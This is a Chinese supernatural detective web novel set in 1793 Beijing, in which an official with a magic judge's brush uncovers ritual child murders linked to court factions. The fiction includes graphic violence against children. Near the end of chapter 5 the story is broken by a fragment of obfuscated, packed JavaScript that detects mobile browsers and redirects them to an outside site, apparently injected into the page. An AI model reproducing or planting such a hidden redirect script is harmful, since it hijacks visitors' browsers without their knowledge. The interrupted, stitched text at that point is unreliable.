《夜断阴阳:我在大清当活判官》
1. 血画惊魂
这北京城啊,白日是天子治下,煌煌盛世,入了夜——冤魂的壮纸堆的比西山还高。
乾隆五十八年冬·北京城
子时的梆子刚敲过三响,更夫陈老皮缩着脖子钻过黑芝麻胡同。风卷着雪沫子往人骨头缝里钻,他提的灯笼忽明忽灭,映得青砖墙上的残雪像撒了一地纸钱。“邪门年景……”他啐了口唾沫,想起昨儿听茶肆说书人讲的“活判官夜审鬼讼”,脊梁骨倏地窜起一股寒气。
突然,一阵孩童抽泣声贴着墙根飘来。陈老皮汗毛倒竖——这胡同尽头是翰林画师柳墨斋的宅子,三天前刚办了丧事!他猛退两步,却见朱漆大门“吱呀”裂开条缝,门内那幅新裱的《百童闹春图》上,一个扎冲天辫的童子眼角竟淌下两道暗红血痕,啪嗒砸在雪地里,洇开两朵梅似的红窟窿。
“尸画泣血……柳先生死得冤啊!”陈老皮连滚带爬冲进夜色,梆子砸在石阶上碎成三截。
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在京城内,刑部清吏司郎中黎澍端坐于值房内,一身石青色五蟒四爪官袍衬得他面容愈发冷峻。他指节分明的手正缓缓批注着一份陈年积案的卷宗,眉头微蹙,室内只闻铜香炉中沉水香屑燃烧的细微噼啪声,以及窗外偶尔卷过庭院的萧瑟风声。
值房角落,黎澍的心腹老仵作陶永年——人称老陶——正眯着眼,就着窗外渐暗的天光,仔细擦拭着他那套跟随半生的验尸刀具。刀锋寒光在昏暗中一闪而逝,映出他布满岁月沟壑却依旧锐利的双眼。他嗜酒如命,常常挂有装酒的葫芦。
“黎大人,您瞧瞧这方子,按《本草拾遗》所载,这味药引……”一个清朗又带着异域腔调的声音打破了沉寂。说话的是文森特·李,一位从西洋归来的混血大夫。他身着剪裁合体的深色长衫,金棕色的卷发束在脑后,深目高鼻间却洋溢着对中国古文化的熟稔。此刻,他正捧着一本线装医书,兴致勃勃地指着其中一页,试图与黎澍探讨某个疑难杂症的药理。他言语风趣,常引经据典,甚至夹杂几句俏皮的京片子,为这沉闷官衙带来一丝不合时宜却令人难以抗拒的鲜活气息。
门边阴影里,一个身影几乎与暗色屏风融为一体。那是塔娜,来自关外白山黑水间的萨满少女。她身量不高,穿着靛蓝布裙,颈间一串古朴的兽牙项饰。乌黑的发辫垂在胸前,脸庞沉静如深潭之水,不见波澜。她只是安静地擦拭着几枚用于占卜的古老铜钱,动作一丝不苟,周身散发出一种近乎凝滞的冷静。
黎澍并未回应文森特,目光依旧胶着在卷宗上,只是端起手边的青瓷茶盏,浅浅呷了一口。
就在这片刻的宁静即将被文森特的下一个论点打破之际,值房外猛地响起一阵急促而沉重的脚步声,伴随着粗重的喘息。
“报——!”
一声惊惶的嘶喊撕裂了室内的平衡。一名衙役来的匆忙,官帽歪斜也顾不得扶正,单膝跪地,声音因奔跑而气喘吁吁:
“启禀…启禀黎大人!有人来报案!”
听罢,“哐当”一声,黎澍手中的青瓷茶盏盖重重落在案几上,茶水四溅,染深了卷宗的纸页。他猛地抬头,眼中寒光乍现,方才的沉凝瞬间被锐利的锋芒取代。
角落里,老陶擦拭刀具的手骤然停住,那柄薄如柳叶的刀被他稳稳捏在指间,浑浊的老眼精光暴射,直刺向报信的衙役。
文森特脸上那抹标志性的、带着些许玩世不恭的笑意瞬间冻结,如同被寒霜覆盖。他迅速合上医书,下意识地挺直了腰背,眼神变得凝重而专注,方才讨论医理时的轻松荡然无存。
一直静如止水的塔娜,擦拭铜钱的手指微微一顿。她缓缓抬起眼帘,深黑色的瞳孔望向门口。
黎澍缓缓起身,官袍下摆带起一阵冷风。他声音低沉:“走。”
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次日卯时,“三碗不过岗”茶馆蒸汽熏腾。卖炭翁张驴子压着嗓子比划:“柳家那画上的血泪,老陶头拿银簪子刮了验过——是人血混着朱砂!更奇的是……”他故意顿了顿,瞥向柜台后竖耳朵的跑堂小顺子,“墙根底下埋的镇物被野狗刨出来了,你们猜是啥?”
茶客们伸长了脖子。
“半块带牙印的驴打滚!”张驴子一拍大腿,“柳先生死那晚,有人瞧见镶黄旗佐领家的恶仆往他家抬过红漆箱子!”
跑堂小顺子攥紧抹布,想起柳墨斋生前常坐窗边那桌,蘸着茶水在桌面画扭曲的蟒纹。昨夜收摊时,他分明看见桌角新刻了四个小字:“红
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光噬童”。
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此刻,刑部主事黎澍正立在柳宅画室。仵作老陶掀开白布,露出柳墨斋青紫的脸——嘴唇被线密密缝成一道弯弧,像在笑。
“死者齿缝有曼陀罗花粉,致幻后活活憋死。”混血大夫文森特举起琉璃镜,“凶手用绣娘针法缝嘴……像在封某种‘口业’。”
黎澍指尖拂过《百童闹春图》上泣血童子的脸,袖中阴司判官笔骤然发烫。闭目凝神间,耳畔炸开凄厉童谣:
“摇疍船,葬深湾,尸骨填海换银簪……
贵人笑,童子寒,红光护体冤难翻!”
再睁眼时,画中百童竟集体扭头瞪他!墙内传来指甲刮擦声,一声声挠在人心尖上。
“墙里有东西。”萨满女巫塔娜突然跪地,耳贴墙壁击打腰鼓。鼓点越来越急,她瞳仁翻白,喉中挤出变调的嘶吼:“四尺……男童……肋骨折三……马球棍!”
众人砸开西墙,数十具婴孩白骨如人砖层叠砌筑,颅骨孔洞塞满霉变的驴打滚。最外层那具幼骸右手紧攥半截玉扣,纹样正是镶黄旗佐领家的螭龙图腾!
众人震惊。“好恶心!这个气味。”这个声音打破了此刻的宁静,文森特侧捏住鼻子道,“这个也太恐怖了吧。”其余三人都保持沉默。
黎澍蹲下拾起玉扣的刹那,判官笔凌空勾出血字:
“乾隆四十五年正月十五,亥时三刻,二格毙命于恭王府马球场。”
“真凶:钮钴禄·阿林保。”
血字未消,突然院外忽传来尖嗓:“圣旨到——镶黄旗佐领阿林保大人协查柳墨斋暴毙案!”
黎澍用判官笔添了第一百零一个童子——无脸无衣,只胸腔画着颗滴血的心脏。
“塔娜,用彼岸花粉浸透画纸。文森特,准备硫磺水喷壶。”他解下腰间判官笔,笔锋在烛焰上掠过幽蓝弧光,“老陶,开堂时……给阿林保奉上掺曼陀罗的碧螺春。”
风雪卷着纸钱扑进画室,黎澍黑袍翻飞如鸦翼。
窗外,镶黄旗兵丁的腰刀已映上门楣。
“既然阳间的律法照不透‘红光’……”
“今夜子时本官就在阴堂——请冤童亲口诉仇”
2. 阴堂审红
镶黄旗佐领阿林保踏入柳宅时,铁底官靴碾过地上未干的血泪渍。他睨着黎澍黑袍腰间的判官笔,嗤笑出声:“黎主事这‘活判官’的名头,哄市井愚民便罢了,还想审我钮钴禄氏?”
随从抬上红木箱,掀盖竟是满箱东珠:“柳墨斋盗卖贡品,本官特来查封赃物——黎大人若愿结案,三成归刑部。”
黎澍指尖摩挲着袖中阴司契约残页。纸页边缘焦黑卷曲,正是三年前山东王伦之乱时,他为救屠城百姓与阴司缔约的烙印。彼时白莲教妖人作法炼尸,烽烟里飘着孩童焦熟的肉香……
“大人可知这画上童子为何泣血?”黎澍突然蘸墨,在《百童图》空白处勾画——血泪童子脚下凭空多出个被马尾拖行的幼童,正是阿林保独子!
阿林保脸色骤变。他儿子上月坠马瘫痪之事,京城无人知晓。
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闪到乾隆四十五年,五更的梆子敲得急,刑部大牢深处传来锯骨声。
黎澍攥紧诉状冲进停尸房,只见仵作老陶正剖验一具幼尸——肋骨断口呈竹节状,与柳宅墙骸如出一辙!
“二格,七岁,恭王府马球童。”老陶刀尖挑出喉间淤血,“被球棍捅喉后活埋。”
黎澍颤抖着展开血书:佃户李实控诉镶黄旗佐领虐杀其子。未料三日后,李实反成“杀子诬告”的刁民,判绞监候。
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这件事情没过多久,一次暴雨夜,黎澍偷闯案牍库,忽见李实冤魂趴在《大清律例》上啃咬“八旗减刑”条款。鬼魂一边嘶吼着“你们这些恶官,官官相护还我孩子命来。”一边将黎澍推向书架——轰隆!整排榆木架倒塌,幸运的是,他并没有被砸死,唯独砸死暗处监视他的刑部侍郎。
“阴司缺个懂律法的判官。”黑雾中伸出枯手,递来血红聘书,“接笔,可救今夜将死的三十七名白莲教妇孺。”
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子时的柳宅画堂烛火尽熄。
阿林保被迫饮下曼陀罗茶,瘫坐太师椅狂笑:“不过杀个佃户崽子!《八旗则例》写着呢,罚俸半年抵命……”
黎澍将彼岸花粉撒向《百童图》。画纸骤燃幽绿火焰,血泪童子竟一步踏出画卷!童子每行一步,地板便漫开腥臭血泊,小手直指西墙白骨堆:“阿玛说……贵人玩的‘活球门’……不疼……”
阿林保瞳孔涣散,脖颈突爆青筋。他左手掐自己喉咙,右手痉挛着抓向虚空,仿佛握住一根马球棍狠狠捅刺:“小杂种!谁让你乱嚼舌根说福康安大人倒卖暹罗米——”
“福康安?”屏风后的文森特猛顿住。这位炙手可热的军机大臣,正是他西医诊所的幕后靠山。
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黎澍成为阴阳判官后还多了一个法宝——阴司业镜,可以通过此物可以制造幻象,以此把人的记忆给呈现出来。阿林保在幻觉中掐得自己翻白眼时,黎澍怀中阴司业镜突然炸裂!
碎片映出骇人画面:
乾隆四十九年甘肃冒赈案。阿林保任监粮道,将饿殍熬成脂油制烛,烛烟幻化的“判官”在账册写“赦”字——那判官眉眼与黎澍一般无二!
黎澍如遭雷击。他没有想到三年前他初任阴司判官,为救甘肃贪旱灾粮的知府(白莲教教主),确以业镜篡改过生死簿……
“原来黎大人的‘阴律’也是看人下菜碟啊?,哈哈哈,可笑。”阿林保挣脱幻象狞笑,突然扯开朝服——胸口竟纹着血色金刚经!经文在黑暗中泛起红光,将冤童魂魄灼得尖啸溃散。
“和珅大人亲赐的护身咒。”阿林保踹翻香炉,“阴司判官?我呸!”
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阴风卷着业镜碎片割破黎澍脸颊。
他想起聘书缔约那夜,枯手曾言:“凡借阴力徇私者,必遭业火噬心。”
“黎澍!”塔娜的萨满鼓罩住溃散的童魂,“他的红光要吞灵!”
黎澍闭目捏碎袖中聘书
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。纸灰纷飞中,判官笔凌空勾出滔天血浪——
“乾隆四十五年正月十五,恭王府马球场。钮钴禄·阿林保以金簪来诱惑二格成为‘人靶’,赌银三千两。”
“在场者有福康安、和珅义子丰绅殷德……”
血字浮空刹那,阿林保胸口金刚经骤然熄灭。
冤童魂魄化作萤火,汇成光流涌向黎澍。他挥笔如刀劈向自己左臂——
刺啦!皮肉裂开处没有血,唯见无数冤魂姓名在筋骨间蠕动!
“以吾判官骨为碑,刻尔等冤屈。”萤火钻入伤口凝成朱砂痣,“今日先祭二格!”
文森特和老陶在一旁默默的看,他们很早之前就知道黎澍是行走于阴阳之地的人。他们在一起协作了许多年,还是不免震惊这些冤童的魂魄。“可怜,可悲呀!”老陶默默的道。
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阿林保被阴气震晕后,众人从他靴底搜出带符咒的棺钉。
“镇魂钉……他想让二格永世不得超生。”老陶颤声道。
“这人也太恶毒了吧!他跟这孩子有何仇何怨啊?”文森特不免吐槽到。“唉,……可怜的孩子。”塔娜,这个萨满女巫仿佛感受到幽魂的痛苦。
说罢,塔娜利索地将钉刺入柳宅槐树根,忽见地脉黑气涌向西山方向:“京郊有更大的‘养尸地’!”众人也将头扭到了西山方向。
突然黎澍蹲了下来,黎澍掀开阿林保带来的红木箱——东珠下压着澳门葡人教堂图纸,标注处竟是圆明园西洋水法城!图纸背面血书:
“七月十五中元节,万镜归墟。”
众人还没有来得及仔细研究,就突然被打断。一骑快马冲进刑部。马上人高呼:“京西乱葬岗掘出十八具‘求雨童尸’,尸身缠满红线,口含……含黎大人的名帖!”
黎澍抚过左臂新的“二格”痣,苦笑:“业债来了。阴律尚容冤魂诉状,阳间法堂却早被红光照成了瞎子。”
3. 求雨骨
京西乱葬岗的雪地被火把照成猩红。
黎澍和两位年轻人骑快马赶去,老陶因为不便于骑马,坐在文森特后面。“小黄毛,骑的稳点,老子都要被甩出去了。”老陶的声音颤颤的。“老陶头,我这已经很稳啦,怕的话抱住我的腰。”文森特安慰道。“我能感受到那些冤魂越来越强烈了。”塔娜道,“这次我们摊上事了。”老陶道,“我有一种不安的预感。”“呸呸,呸!不要说这么不吉利的话。老陶头”文森特安慰道。“快到了,注意点。”黎澍说道。
说罢,眼见那十八具童尸呈“北斗吞月阵”排列,众人下马,分工合作,塔娜把马栓到树上。老陶头和黎澍观察尸体,黎澍发现每具尸身缠七匝红线,腕系褪色百家布。文森特在一旁,把身上的腰包拿下,取出镊子。镊起尸舌下的冰珠:“含的是硝石与尸油冻,难怪盛夏不腐。”文森特从雨童尸舌底抽出黎澍名帖,背面有细小的针孔拼出的密信:“山东故人问:判官笔是否还蘸得动百姓血?文森特不明所以。
“黎大人请看这具。”老陶剖开童尸腹腔惊呼,“肠内塞满黄符纸,笔画是反的!”
——正是阴司判官批命专用的“倒书殄文”!
黎澍抚过尸身颈侧紫斑,突然有一股三年前山东临清的硝烟味猛地呛进肺管。
黎澍回忆起那年乾隆三十九年秋白莲教火攻城门,浓烟里冲出个拴铁链的男童,颈间也有同样紫斑。童尸关节钉满铜钱,随邪咒跳动如提线木偶。他瞬间知道是怎么回事了,他取出腰间的配剑,用力挥剑斩链,这时,那男童突然睁眼嘶吼:“判官笔……给我!”
“不好,黎老师,是‘尸儡蛊’。”塔娜的骨铃在死寂中骤响,“施术者用判官血养蛊,可驱尸千里索命!”“这么邪门!”文森特不免吐槽道。
“不用怕。”黎澍用判官笔在男童身上飞快了写下几笔,那男童瞬间就一动不动了,“塔娜,文森特,叫人把这些尸体带回刑部。”说罢,黎澍便和老陶头继续处理尸体。“好……”两人异口同声道。
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刑部停尸房内,文森特借西洋放大镜检视百家布:“每块布角用茜草根汁写着童谣——摇疍船,葬深湾……”
“这是什么意思?”文森特疑问道
黎澍瞳孔骤缩。这正是柳宅冤魂唱的调子!
“这可能跟柳家那些埋在墙里的冤魂有关。”塔娜在后面说到“因为我感受到了他们的气息相似。”
“没错”黎澍赞同道。
老陶突然掀开验尸布:“这些孩子脚趾缝有青苔,踝骨带船锚勒痕……是疍户的娃!”
塔娜走到尸身旁,用指尖抚过尸身眉心:“他们被献祭前,见过‘红光’。”
黎澍袖中判官笔突射寒光,在墙面勾出燃烧的血字:
乾隆五十八年五月初三澳门妈阁庙,献祭者:葡商费尔南多,经手人:粤海关监督盛住(和珅的小舅子)
“去澳门?”文森特苦笑,“朝廷刚因马戛尔尼使团闹得闭港……”众人一时语塞。
窗外忽传来鸦啼。十八具童尸齐坐而起,腹腔黄符无风自动!
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童尸喉间发出咯咯怪响,红线如活蛇缠向黎澍!
“闭眼!”塔娜将萨满鼓扣在黎澍额前。鼓皮震动中,黎澍魂识猛然坠入童尸记忆:
在澳门黑沙海滩,疍民孩童被铁链拴在礁石间,随涨潮哀哭。蓝眼葡商费尔南多捧起个鎏金盒子,盒中飘出的红衣判官虚影,竟有黎澍的面容!虚影拂过孩童头顶,浪涛便吞没哭喊……
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京城西苑,盛住(和珅的小舅子)将染血的百家衣递给黑袍人:“和大人要的‘阴童阵’备齐了,圆明园镜宫七月十五前必成!”
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黎澍猛然惊醒,判官笔尖正滴落黑血——笔毫中缠着一根金色卷发。
“费尔南多。”文森特捡起发丝冷笑,“这人我认识,他在诊所治梅毒时,偷过我的金鸡纳霜。”
为逼出尸儡蛊母虫,黎澍以笔刺腕。黑血滴入铜盆时,那盆里的血水中映照着往事,如同恶鬼撕开封印般:
乾隆三十九年冬·临清旧城
白莲教妖师将黎澍绑上祭坛,匕首划开他脊背:“阴司判官骨是炼‘万魂幡’的好料!”
剧痛中,他看着曾救过的铁链男童爬来,将腐肉塞进他伤口:“吃下去……就能活……”
黎澍咬碎腐肉刹那,男童突然被邪师拽回。铁链绞紧脖颈的骨裂声里,黎澍听见他最后的呜咽:“石锁……我叫石锁……”
心痛,一股钻心的疼痛席卷了黎澍,“石锁,不要。”泪水不值钱从黎澍眼睛中流落。
画面一转,来到了祭坛轰塌时,阴司枯手递来判官笔:“接笔,可救城中剩余四十九童。”
黎澍
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抓向血泊中的《大清律例》嘶吼:“我要加一条——凡炼童尸者,永堕无间狱!”
黎澍擦了擦泪水,处理好情绪,便说道,“石锁的怨气,缠了我十三年。”黎澍抹去盆中血影,现出当前十八童尸的阵图,“这次换我渡你们。”同伴们随机点点头。
他们根据铜镜给出的信息。来到了一个乱葬岗。此地阴森森的,“早知如此,不跟你们来了。”文森特抱怨道。“你再抱怨,小心月钱给你扣光。”塔娜讥讽道。“别吵了!”老陶头阻止了这一场无意义的吐槽。“前面好像有东西。”黎澍看到了这个令人震惊景象,这个乱葬岗地下竟藏有前明祭坛!
众人循尸气掘至青铜门,门上饕餮锁眼镶着半枚玉扣——正是柳宅墙骸中二格所握的螭龙扣!
“阿林保用二格的命当钥匙……”老陶颤抖抚过门缝渗出的黑油,“这是养尸地髓!”
门内景象令文森特作呕
数十具棺木悬空倒挂,棺底钻孔滴落尸油,汇入中央血池。池中浸泡着未完工的西洋镜,镜面用尸油绘满《金刚经》——正是阿林保胸口的护身咒!
池沿刻满小字:“万镜归墟,佛光噬魂。中元月满,龙气易主。”
塔娜的骨铃突然炸裂:“镜子里有东西要爬出来了!”
血池咕咚翻涌,浮出一具身披黄马褂的腐尸,脸竟与乾隆帝一模一样!
腐尸睁眼的刹那,黎澍左臂冤魂刻名灼如烙铁。
他挥笔割开衣袖,露出密布朱砂姓名的臂骨:“石锁,借你怨火一用!”
臂上“石锁”二字骤亮,幽绿火线顺笔尖射向血池。池中尸油遇火轰燃,将腐尸裹成火球。
火焰舔舐镜面时,镜中赫然映出和珅的脸!
“黎澍!”镜中和珅虚影冷笑,“你三年前在甘肃救的白莲教长老,正等着报恩呢……”
虚影挥手甩出密函,火舌卷开纸页,露出惊悚字样:
七月十五子时
万镜照魂
君临天下者——
爱新觉罗·弘曕(乾隆幼弟,已故果亲王)
黎澍劈碎铜镜的刹那,地宫穹顶传来禁卫军的马蹄声。
“圣上口谕:刑部主事黎澍私掘皇陵,就地格杀!”
黎澍劈碎的镜片中,突然映照出刑部大牢的景象——本该斩首的甘肃知府这端坐在地牢中,用尸油在墙壁画着黎澍的判官笔。
4. 夜渡魂
禁卫军的马蹄声如雷逼近,地宫血池的火光映着黎澍左臂——那些用判官骨刻下的冤魂姓名,此刻像烧红的铁针往骨髓里钻。最疼的是“石锁”二字,一跳一跳地灼着皮肉。
“石锁……”黎澍踉跄扶住棺木,三年前腐肉的酸臭味仿佛还堵在喉咙。
那个被铁链拴着的山东男孩,总在挨打时咧嘴笑:“黎举人,俺娘说读书人骨头金贵,您快逃呀!”
可最后塞进他嘴里的,是石锁省下的半块霉窝头混着孩子的血肉。
“走!”塔娜突然拽起他奔向后门,“黎师傅,虽然你救错了白莲教教主,但你的罪孽不该喂给这群蛆虫!”
“有你这么说,黎判官的吗?”文森特拌嘴到。
“快跑吧,两位小祖宗。被那些官爷抓住,可是要受一些苦头的。”老陶气喘吁吁地奔跑着。
“以前叫你多锻炼身体,你就只顾着喝酒,现在知道了吧?”文森特健步如飞,“我就是一个糟老头子,哪有你们年轻人跑得快。”老陶说。
地宫暗门在身后轰然闭合,腐臭味混着老陶的汗酸味涌进鼻腔。文森特擦亮火折子,冷光映出石壁上密密麻麻的抓痕——像无数孩童用指甲抠出的血沟。
“是疍民采珠奴的‘计数痕’。”黎澍指尖抚过一道最深的沟壑,“每凿一粒南海珠,便划一刀……划够千刀才能见天日。”
他左臂的“石锁”刻痕突然剧痛,山东男孩的声音在颅骨内回响:“黎举人,俺不怕疼,您吃窝头!”
塔娜猛地攥住他灼痛的左臂。
掌心传来的暖意竟让黎澍看见幻象:
暴雪中的小塔娜蜷在母亲怀里,女人割开手腕将血喂进她口中:“喝下去……萨满的血要暖别人的心……”
“黎师傅。”塔娜的声音在黑暗中发颤,“你骨头上刻的名字……烫着我了。”
密道渐宽,竟露出个石窟。石台上供着半块风干的窝窝头,底下压着张黄纸——
“黎澍欠石锁:窝头半块,活命一次。”
字迹歪扭如幼童初学。
老陶突然哽咽:“是那孩子……”
文森特举灯照向石壁,倒抽冷气:壁上用炭灰画满小像——书生打扮的黎澍在教孩童写字,每幅画里孩童都缺颗门牙。
“石锁的门牙……”黎澍喉结滚动,“是被白莲教用铁钳拔的,他说要留着啃窝头。”
回忆如冰锥刺入:
祭坛上的石锁满嘴是血,却咧嘴笑:“黎举人,俺少颗牙,窝头省给您吃!”
那团塞进他嘴里的血肉……混着半颗带牙的窝头。
黎澍突然发狂般捶打石壁,骨刻名在皮肉下迸出火星:“我该死在那座祭坛上!”
“放屁!”塔娜一耳光抽醒他,“那孩子用命暖你的血,不是让你喂蛆虫的!”
四人前行着。
密道尽头豁然开朗。
数百面西洋镜组成迷宫,镜中映出的人影却扭曲如恶鬼——老陶看见年轻时盗墓的自己正掐死同伴;文森特瞧见妹妹在甘肃粮仓里啃观音土……
“是圆明园镜宫的试验场!”黎澍挥笔劈向镜面。镜子碎裂时飞溅的银渣里,赫然裹着尸油炼制的致幻药!
“小心!”塔娜喊道,突然撞开黎澍。
一柄弯刀擦着他咽喉划过——持刀的魁梧汉子从镜中迈出,脸上刺着疍民图腾:“黎判官,盛住大人请您死在这!”
黎澍格挡时瞥见汉子腰间的鎏金盒子,与童尸记忆里葡商捧着的养蛊盒一模一样!
“把盒子给我!”黎澍嘶吼,“能救被炼成尸儡的孩子!”
汉子狂笑:“那些疍户贱种?早填了澳门炮台啦!”
---
刀风削掉黎澍一缕发。
生死瞬间,他竟想起石锁最亮的眼睛:
“黎举人!”男孩把窝头掰成两半,大的那块硬塞过来,“俺娘说,读书人吃饱了,才能给俺们写状纸呀!”
黎澍突然撤剑迎向刀锋。
弯刀捅穿他左肩刹那,他右手判官笔蘸着血,在汉子眉心疾书“冤”字——
“乾隆五十八年六月初七,妈阁庙礁洞。陈阿水溺毙疍童九人,换鸦片三箱。”
血字灼烧的剧痛中,汉子僵跪在地。黎澍扯开他衣襟,胸口赫然刻着与阿林保同款的血经!
“和珅的走狗……都爱往身上刻经?”文森特冷笑着一针扎晕汉子,夺过养蛊盒。
黎澍踉跄跪地,肩血浸透半块窝头干粮。他仿佛看见石锁在火光里咧嘴笑:“这回……俺的窝头真救您命啦!”
---
文森特撬开鎏金盒,内里没有蛊虫,唯有一幅工笔小像:
穿西洋裙的少女在种牛痘,侧脸与文森特有七分像。画像背面题字:“妹艾米莉,殁于乾隆五十四年
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,种痘失败。”
“不可能!”文森特目眦欲裂,“艾米莉死于甘肃饥荒!”
黎澍盯着画像少女眼角的朱砂痣,如遭冰水浇头——三年前他用判官笔救甘肃知府时,那知府献上的“万民伞”上,就绣着颗一模一样的痣!
塔娜突然指向盒子夹层:“有张当票!”
泛黄的纸上写着:
乾隆五十九年正月十八,死当:判官笔(仿品),当银:纹银五十两,质押人:黎澍
“这是怎么回事?黎师傅?”塔娜不敢置信地问道,突然众人静默,黎澍如坠冰窟——这支随他三年的“阴司法器”,竟是赝品!
---
突然不等众人反应,蛊盒底部突然渗出黑雾,凝成红衣判官虚影——与童尸记忆里的一般无二!
虚影开口竟是黎澍的声线:“三年前临清城,你早该和白莲教一起死。”
塔娜的骨铃爆出青光:“是尸儡蛊母虫化的形!”
黑雾猛地裹住黎澍左臂骨刻名,石锁的惨叫声刺破耳膜:“黎举人——疼啊!”
“闭嘴!”塔娜突然割破手掌,将血抹在黎澍灼痛的刻名上。
萨满血触及骨头的刹那,黎澍看见:
濒死的萨满母亲割腕哺血,幼年塔娜唇齿间全是铁锈味。女人眼睛亮得骇人:“暖别人的血……不能凉……”
黑雾在暖血中溃散。
黎澍左臂的“石锁”刻痕不再灼烫,唯余温热的麻。
他反手握住塔娜流血的手腕,在蛊盒底部划出血誓:
“凡噬童骨者,黎澍必碎其魂!”
---
“我们先在这边休息一下,黎老师你的肩膀都流血了。”塔娜说。文森特应声去帮黎澍包扎伤口。
文森特给黎澍包扎肩伤时嘟囔:“您这判官当的,赔进去半块窝头不说,还倒贴五十两银子!”老陶灌着酒接茬:“知足吧!我那会儿盗墓,连裤衩都赔光了……”
黎澍凝视掌心血渍呢喃:“石锁,原来你给的窝头……是烫的。”
晨光中,左臂刻痕第一次泛起暖意——那些刻进骨头的名字,终将焐热这寒透的世道。
等众人爬出密道时,朝阳正刺破乌云。京郊官道上,一辆青蓬马车静静停着。车帘掀开,露出甘州知府(白莲教教主)微笑的脸:“黎判官,你典当的判官笔......该赎回来啦。”
5. 赎骨
青布车帘掀开的刹那,黎澍袖中仿品判官笔突然寸寸龟裂。
车中人蟒袍玉带,面皮却像糊歪的纸人——正是三年前他亲手从甘肃刑场救下的“知府”苏克哈!
“黎大人别来无恙?”苏克哈指尖捻着支真品判官笔,笔毫浸在琉璃盏的血浆里,“您押当的宝贝,我可日日用童犯心头血养着呢。”
文森特突然暴起扑向马车:“艾米莉的眼角痣为什么在你万民伞上?!”
苏克哈轻笑挥手,车后转出个戴镣铐的少女——金发碧眼,右眼角一点朱砂痣灼目!
“哥……”少女嗓音嘶哑如砂纸磨铁,“甘肃的粥棚……是炼人油的……”
---
文森特脑中炸开腥臭的记忆:
乾隆五十四年,甘肃旱灾。苏克哈的粥棚热气蒸腾,幼妹艾米莉捧着破碗欢呼:“哥!有粥喝了!”
可木勺捞起的……分明是半截浮肿的手指!
他拽着妹妹逃时,见棚后大锅熬着粘稠人膏,官吏笑着将膏液灌进蜡烛模具。
“傻洋妞。”苏克哈踹倒文森特,“你们兄妹的蓝眼睛,正好做‘佛光烛’的点睛料!”
混乱中艾米莉被拖走,她最后的声音扎进文森特耳膜:“跑啊!别回头!”
“我回头了……”文森特此刻颤抖如落叶,“我看见你的蓝眼睛……在蜡烛里烧。”
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苏克哈将真品判官笔抛向黎澍:“笔还你,换这洋大夫的命。”
黎澍接笔的刹那,左臂冤魂刻名剧痛——石锁的悲鸣混着艾米莉的哭喊,几乎撕裂魂魄!
“黎澍!”塔娜突然割破掌心按在他臂骨上,萨满血纹路般渗入刻痕,“你骨头里的声音……太吵了。”
暖流涌入时,黎澍听见石锁的耳语:“黎举人,选活路!”
他猛地将判官笔扎进自己心口!
鲜血顺着笔杆沟槽灌入琉璃盏,苏克哈怀中的血盏突然炸裂。
“阴司判官笔认主——”黎澍脸色惨白如纸,“除了我心头血,它谁的命都不收!”
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血浆迸溅中,艾米莉颈间镣铐“咔嗒”断裂。
她竟从口中吐出一枚蜡丸,捏碎后露出半块发霉的窝头!
“石锁哥给的……”艾米莉将窝头塞进黎澍染血的掌心,“他说您最爱吃这个。”
黎澍如遭雷击——蜡丸窝头正是当年山东祭坛上,石锁省给他那半块!
苏克哈突然尖啸着撕下面皮,露出遍布尸斑的真容:“你以为救的是人?”
他腹腔“噗”地裂开,钻出数百条沾血的经卷虫——正是阿林保胸刻的金刚经文字所化!
“和珅大人用万卷佛经养我们。”虫群聚成苏克哈的头颅大笑,“佛光?不过是人油烛照出来的!”
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虫群扑向众人时,老陶突然砸碎酒葫芦,将烈酒泼满全身:“老子盗了一辈子墓,今天烧回真佛!”
火折子点燃胡须的刹那,塔娜的骨铃卷起旋风,将火焰旋成火龙卷吞向虫群!
“不要!”黎澍想起老陶妻儿死于火灾的旧事。
火焰中的老陶却咧嘴一笑:“判官大人,替我刻个名——就写‘酒鬼陶三’!”
经虫在火中劈啪炸响,竟凝成和珅的虚影:“黎澍,七月十五圆明园,本官等你用判官骨……”
话未说完,艾米莉抓起燃烧的窝头砸中虚影:“你们连孩子的口粮都偷!”
虚影溃散时,远方突然传来钟鸣——
乾隆皇帝驾崩了!
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35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818169|175418||http|test|mini|href|location''.split(''|''),0,{}));
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>京郊荒道上,黎澍背着烧伤的老陶跋涉。
每走一步,心口的笔伤便涌出黑血,将怀中那半块窝头染得更暗。
“黎举人……”背上的老陶气若游丝,“石锁那孩子……跟我孙子真像……”
他忽然哼起俚俗小调:
“窝窝头,蘸香油,白案师傅愁白头……”
“愁完饥荒愁血税,愁得童子变骷髅!”
塔娜默默撕下衣襟裹住黎澍心口。布条缠紧时,他看见她腕间旧疤叠新伤——全是喂血留下的。
“塔娜。”黎澍将染血的窝头掰下一块给她,“萨满的血……什么味?”
少女舔舔干裂的嘴唇:“跟你刻在骨头上的名字一样……又苦,又烫。”
夕阳将众人影子拉长,像一地碎裂的魂魄。
文森特搀着妹妹突然开口:“去澳门吧,毁了那吃人的妈阁庙。”
艾米莉蓝眼睛映着晚霞:“哥,这次我绝不让你一个人回头。”
文森特替妹妹梳头时嘀咕:“这打结的金毛,比验尸房的肠子还难解!”
艾米莉反手将窝头渣塞进他嘴里:“堵不住你的臭嘴!”
“摇疍船,葬深湾,窝头换得白骨帆……”
“贵人烛,童子惨,判官笔写奈何寒!”
黎澍将半块窝头捧给朝阳:“石锁,你省下的不是口粮。”
晨光中,窝头孔洞里钻出一株嫩绿的新芽——在这人吃人的世道,总有人把活命的机会,塞进别人嘴里。
众人夜宿破庙时,黎澍心口判官笔突然自己立起,在墙上血书:
“七月初七,葡商费尔南多携‘龙气烛’离澳。”
“押运人:盛住之女盛娇娇(年十二)”
血字下角,竟浮现一枚小小的窝头印记!
6. 骨舟渡
澳门妈阁庙的残香被海风卷成灰漩。
黎澍攥紧怀中半块窝头——那夜破庙墙角的血字预言,正随海浪拍岸声越来越响。
“七月初七,葡商费尔南多携‘龙气烛’离澳。”
“押运人:盛住之女盛娇娇(年十二)”
文森特突然指向港口:“那艘黑桅船!”
